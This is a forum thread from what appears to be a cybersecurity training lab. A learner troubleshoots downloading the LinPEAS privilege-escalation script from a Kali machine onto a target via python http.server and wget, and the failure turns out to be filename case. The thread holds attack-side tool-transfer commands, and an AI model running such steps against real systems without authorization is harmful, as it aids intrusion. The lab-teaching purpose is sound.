Forum Discussion

posewadone's avatar
posewadone
Icon for Bronze II rankBronze II
15 days ago

Can´t download linpeas with wget

Privilege Escalation: Linux – Automated Enumeration

Hi.

I can´t download the linpeas with wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh

due to "connection refused" or "connected but ERROR 404: File not found"

Regards.

 

  • did you checked if linpeas is existing? have you started an http listener? ...
    what are your steps, you've done before. normally, linpeas/winpeas are not installed on the IL kali instances...

    • posewadone's avatar
      posewadone
      Icon for Bronze II rankBronze II

      Hi Steven.

      Thanks a lot.

      The steps below:

      cd /home/kali/Desktop/Tools/Linux

      python3 -m http.server

      ##Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

      accesible through firefox localhost:8000 (I can see the folders LinPEAS/ (where the linpeas.sh is), LinuxPrivChecker/, LinuxSmartEnumeration/, pspy/)

       

      in a another terminal different from the one above:

      ssh into the target 

      wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh (the linpeas.sh is here ~/Desktop/Tools/Linux/LinPEAS)

      wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh

      this is the message received: Connecting to 10.102.108.246:8000... failed: Connection refused.

      another try but the webserver directly from /home/kali/Desktop/Tools/Linux/LinPEAS

      and this is the message received:

      Connecting to 10.102.133.11:8000... connected.
      HTTP request sent, awaiting response... 404 File not found
      2024-11-27 09:53:45 ERROR 404: File not found.

       

      • steven's avatar
        steven
        Icon for Bronze III rankBronze III

        hmm. just checked the lab:

        on kali:

        ┌──(kali㉿kali-privesc)-[~]
        └─$ cd Desktop/Tools/Linux/LinPEAS/
        ...
        ┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
        └─$ python -m http.server 8080
        Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
        ...

        the target:

        ssh -l alex 10.102.154.98
        ...
        (successful login)
        ...
        wget http://10.102.100.242:8080/linPEAS.sh

        then you'll see on kali:

        ┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
        └─$ python -m http.server 8080
        Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
        10.102.154.98 - - [27/Nov/2024 10:56:57] "GET /linPEAS.sh HTTP/1.1" 200 -
        ^C

        and on target transfer was successfull.

        i've also checked port 8000 which you were using:

        ┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
        └─$ python -m http.server 8000
        Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
        10.102.154.98 - - [27/Nov/2024 11:00:07] "GET /linPEAS.sh HTTP/1.1" 200 -
        ^C

        so, maybe the lab has a problem. just end it and restart again

  • ChrisKershaw's avatar
    ChrisKershaw
    Icon for Community Support rankCommunity Support

    Hi posewadone

    Just to follow up on what my colleague, Kieran, posted. I've raised your issue over to our Cyber Team, to see if someone can help you with this.

    Either myself, or one of our Cyber Team colleagues will reach out to you with some guidance to help shortly 😊. 

  • 👋 posewadone 

    Thanks for sharing your steps, that made troubleshooting a lot easier! I've just taken a look at the lab, and it looks like you might be getting the 404 error because downloading files with wget is case-sensitive, and the LinPEAS script is actually called linPEAS.sh, not linpeas.sh. 

    I've updated the lab's briefing panel, so the example command now reflects this correctly:

    wget http://[Kali Desktop IP Address]:8000/LinPEAS/linPEAS.sh

    Just make sure you update the placeholder with the Kali Desktop's actual IP address, and you should be good to go!

    I hope this helps, but please reach out if you're still struggling, and I'll see if there's anything else I can help with 😁